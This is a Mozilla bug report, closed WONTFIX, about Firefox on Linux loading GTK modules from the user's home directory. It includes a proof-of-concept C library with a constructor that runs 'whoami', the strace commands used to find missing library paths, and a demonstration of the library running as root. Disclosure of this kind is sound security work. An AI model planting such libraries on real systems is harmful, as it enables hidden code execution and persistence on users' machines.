Closed
Bug 1184466
Opened 10 years ago
Closed 10 years ago
Shared Object Hijacking in Linux (Similar to "DLL Hijacking" in Windows)
Categories
(Core :: Security, defect)
Tracking
()
RESOLVED
WONTFIX
People
(Reporter: adrimf85, Unassigned)
Details
User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
Steps to reproduce:
With "Share Object Hijacking" in Linux same thing happens with "DLL Hijacking" in Windows .
Check version:
amacias@ubuntu:~/SOh$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 15.04
Release: 15.04
Codename: vivid
amacias@ubuntu:~/SOh$ firefox -v
(process:3209): GLib-CRITICAL **: g_slice_set_config: assertion 'sys_page_size == 0' failed
Mozilla Firefox 39.0
Create "Share Object" (.so):
amacias@ubuntu:~/SOh$ cat SOh.c
#include <stdio.h>
#include <stdlib.h>
// gcc -shared -o SOh.so -fPIC SOh.c
static void SO_hijacking() __attribute__((constructor));
void SO_hijacking()
{
// whoami2var
FILE *lsofFile_p = popen("whoami", "r");
char buffer[1024];
char *line_p = fgets(buffer, sizeof(buffer), lsofFile_p);
pclose(lsofFile_p);
printf("++++++++++++++++++++++++\n");
printf(" SO Hijacking! \n");
printf(" USER ID: %i\n", getuid());
printf(" USER NAME: %s", line_p);
printf("++++++++++++++++++++++++\n");
}
amacias@ubuntu:~/SOh$ gcc -shared -o SOh.so -fPIC SOh.c
amacias@ubuntu:~/SOh$ ls
SOh.c SOh.so
Check errors in Firefox and stores them in a file:
amacias@ubuntu:~/SOh$ strace firefox &> /tmp/strace_firefox
Close Firefox.
Search all "Share Objects" (.so) do not exist:
amacias@ubuntu:~/SOh$ grep "No such file or directory" /tmp/strace_firefox | grep -v "\"/etc/\|\"/usr/\|\"/lib/" | grep "\.so"
access("/home/amacias/.gtk-2.0/2.10.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/amacias/.gtk-2.0/2.10.0/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/amacias/.gtk-2.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/amacias/.gtk-2.0/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/amacias/.gtk-2.0/2.10.0/i686-pc-linux-gnu/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/amacias/.gtk-2.0/2.10.0/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/amacias/.gtk-2.0/i686-pc-linux-gnu/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/amacias/.gtk-2.0/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/amacias/.gtk-2.0/2.10.0/i686-pc-linux-gnu/engines/libmurrine.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/amacias/.gtk-2.0/2.10.0/engines/libmurrine.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/amacias/.gtk-2.0/i686-pc-linux-gnu/engines/libmurrine.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/amacias/.gtk-2.0/engines/libmurrine.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/amacias/.gtk-2.0/2.10.0/i686-pc-linux-gnu/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/amacias/.gtk-2.0/2.10.0/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/amacias/.gtk-2.0/i686-pc-linux-gnu/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/amacias/.gtk-2.0/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
Copy the "Share Object" created in one of the above directories:
amacias@ubuntu:~/SOh$ mkdir -p /home/amacias/.gtk-2.0/modules/
amacias@ubuntu:~/SOh$ cp SOh.so /home/amacias/.gtk-2.0/modules/libcanberra-gtk-module.so
Run Firefox:
amacias@ubuntu:~/SOh$ firefox
(process:4639): GLib-CRITICAL **: g_slice_set_config: assertion 'sys_page_size == 0' failed
++++++++++++++++++++++++
SO Hijacking!
USER ID: 1000
USER NAME: amacias
++++++++++++++++++++++++
Gtk-Message: Failed to load module "canberra-gtk-module"
WARNING: content window passed to PrivateBrowsingUtils.isWindowPrivate. Use isContentWindowPrivate instead (but only for frame scripts).
pbu_isWindowPrivate@resource://gre/modules/PrivateBrowsingUtils.jsm:25:14
^C
The "Share Object" created is executed!!
Another Test; run Firefox as root:
amacias@ubuntu:~/SOh$ sudo firefox
(process:4693): GLib-CRITICAL **: g_slice_set_config: assertion 'sys_page_size == 0' failed
++++++++++++++++++++++++
SO Hijacking!
USER ID: 0
USER NAME: root
++++++++++++++++++++++++
Gtk-Message: Failed to load module "canberra-gtk-module"
(firefox:4693): IBUS-WARNING **: The owner of /home/amacias/.config/ibus/bus is not root!
WARNING: content window passed to PrivateBrowsingUtils.isWindowPrivate. Use isContentWindowPrivate instead (but only for frame scripts).
pbu_isWindowPrivate@resource://gre/modules/PrivateBrowsingUtils.jsm:25:14
pbs<@resource://unity/observer.js:38:71
Observer.prototype.observe@resource://unity/observer.js:77:24
^C
The "Share Object" created is executed as root!!
Actual results:
Firefox exeuted the malicious "Share Object".
Expected results:
Firefox should not load "Share Object" from directories where an unprivileged user can write.
Reporter | ||
Updated•10 years ago
|
OS: Unspecified → Linux
Hardware: Unspecified → x86
Comment 1•10 years ago
|
||
This is INVALID. We intentionally load things like Firefox addons from the user directory, which may contain executable code either as JS or as shared libraries.
You should never run Firefox as root.
Group: core-security
Status: UNCONFIRMED → RESOLVED
Closed: 10 years ago
Component: Untriaged → Security
Product: Firefox → Core
Resolution: --- → WONTFIX
Comment 2•10 years ago
|
||
And in that case, it's gtk doing the loading of a gtk module.
Comment 3•10 years ago
|
||
Also more specifically, you should never run Firefox with sudo, because the default for sudo is to keep the user $HOME. I thought I added code to throw an error in that case, though, but it seems I didn't. I had this snippet added in the Iceweasel wrapper script when we still had a wrapper script:
##
## For silly people running iceweasel through sudo
##
if [ "${SUDO_USER}" ] && [ "${SUDO_USER}" != "${USER}" ]; then
SUDO_HOME=`getent passwd ${SUDO_USER} | cut -f6 -d:`
if [ "${SUDO_HOME}" = "${HOME}" ]; then
echo "You shouldn't really run Iceweasel through sudo WITHOUT the -H option." >&2
echo "Continuing as if you used the -H option." >&2
HOME=`getent passwd ${USER} | cut -f6 -d:`
if [ -z "${HOME}" ]; then
echo "Could not find the correct home directory. Please use the -H option of sudo." >&2
fi
fi
fi
Maybe we should port this in nsAppRunner.cpp ?
Flags: needinfo?(benjamin)
Reporter | ||
Comment 4•10 years ago
|
||
1. Ok.. JS can not run system commands, Share Object yes.
2. I should never run Firefox with sudo but I CAN run Firefox as root.
3. Many applications (gedit, calculator, etc...) load GTK modules but not from $HOME... (This is the problem)
amacias@ubuntu:~/SOh$ strace gnome-calculator &> /tmp/calcu; grep "No such file or directory" /tmp/calcu | grep "gtk" | grep "\.so\""
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
amacias@ubuntu:~/SOh$ strace gedit &> /tmp/gedit; grep "No such file or directory" /tmp/gedit | grep "gtk" | grep "\.so\""
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
4. Ok, imagine a "bad-boy" discovers a Adobe Flash 0day to work in Firefox. This exploit downloads a "Share Object" and saves it as $HOME/.gtk-2.0/modules/libcanberra-gtk-module.so as in my example.
Each time you run Firefox, the "Share object" calls home in search of, for example, a kernel 0day to privileges escalate.
Ok. Firefox is "not vulnerable" but is used as a way to infect a computer in an APT...
Hmmm ... Do not you see the problem?
Regards!!
Reporter | ||
Comment 5•10 years ago
|
||
A very similar case: Mozilla Foundation Security Advisory 2013-87 (Shared object library loading from writable location): https://www.mozilla.org/en-US/security/advisories/mfsa2013-87/
Comment 6•10 years ago
|
||
You demonstrated absolutely nothing. gnome-calculator and gedit are both Gtk+3 applications. If you want to compare oranges with oranges, use gimp, which is a Gtk+2 application.
$ strace -o /tmp/log gimp
$
grep \\.gtk-2.0 /tmp/log | sed s/$USER/\$USER/g
access("/home/$USER/.gtk-2.0/2.10.0/x86_64-pc-linux-gnu/engines/libpixmap.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/2.10.0/x86_64-pc-linux-gnu/engines/libpixmap.la", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/2.10.0/engines/libpixmap.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/2.10.0/engines/libpixmap.la", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/x86_64-pc-linux-gnu/engines/libpixmap.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/x86_64-pc-linux-gnu/engines/libpixmap.la", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/engines/libpixmap.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/engines/libpixmap.la", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/2.10.0/x86_64-pc-linux-gnu/engines/libadwaita.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/2.10.0/x86_64-pc-linux-gnu/engines/libadwaita.la", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/2.10.0/engines/libadwaita.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/2.10.0/engines/libadwaita.la", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/x86_64-pc-linux-gnu/engines/libadwaita.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/x86_64-pc-linux-gnu/engines/libadwaita.la", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/engines/libadwaita.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/engines/libadwaita.la", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/2.10.0/x86_64-pc-linux-gnu/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/2.10.0/x86_64-pc-linux-gnu/modules/libcanberra-gtk-module.la", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/2.10.0/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/2.10.0/modules/libcanberra-gtk-module.la", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/x86_64-pc-linux-gnu/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/x86_64-pc-linux-gnu/modules/libcanberra-gtk-module.la", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/modules/libcanberra-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/home/$USER/.gtk-2.0/modules/libcanberra-gtk-module.la", F_OK) = -1 ENOENT (No such file or directory)
Comment 7•9 years ago
|
||
Yes, we should have this as part of the bootstrap sequence.
Flags: needinfo?(benjamin)
You need to log in
before you can comment on or make changes to this bug.
Description
•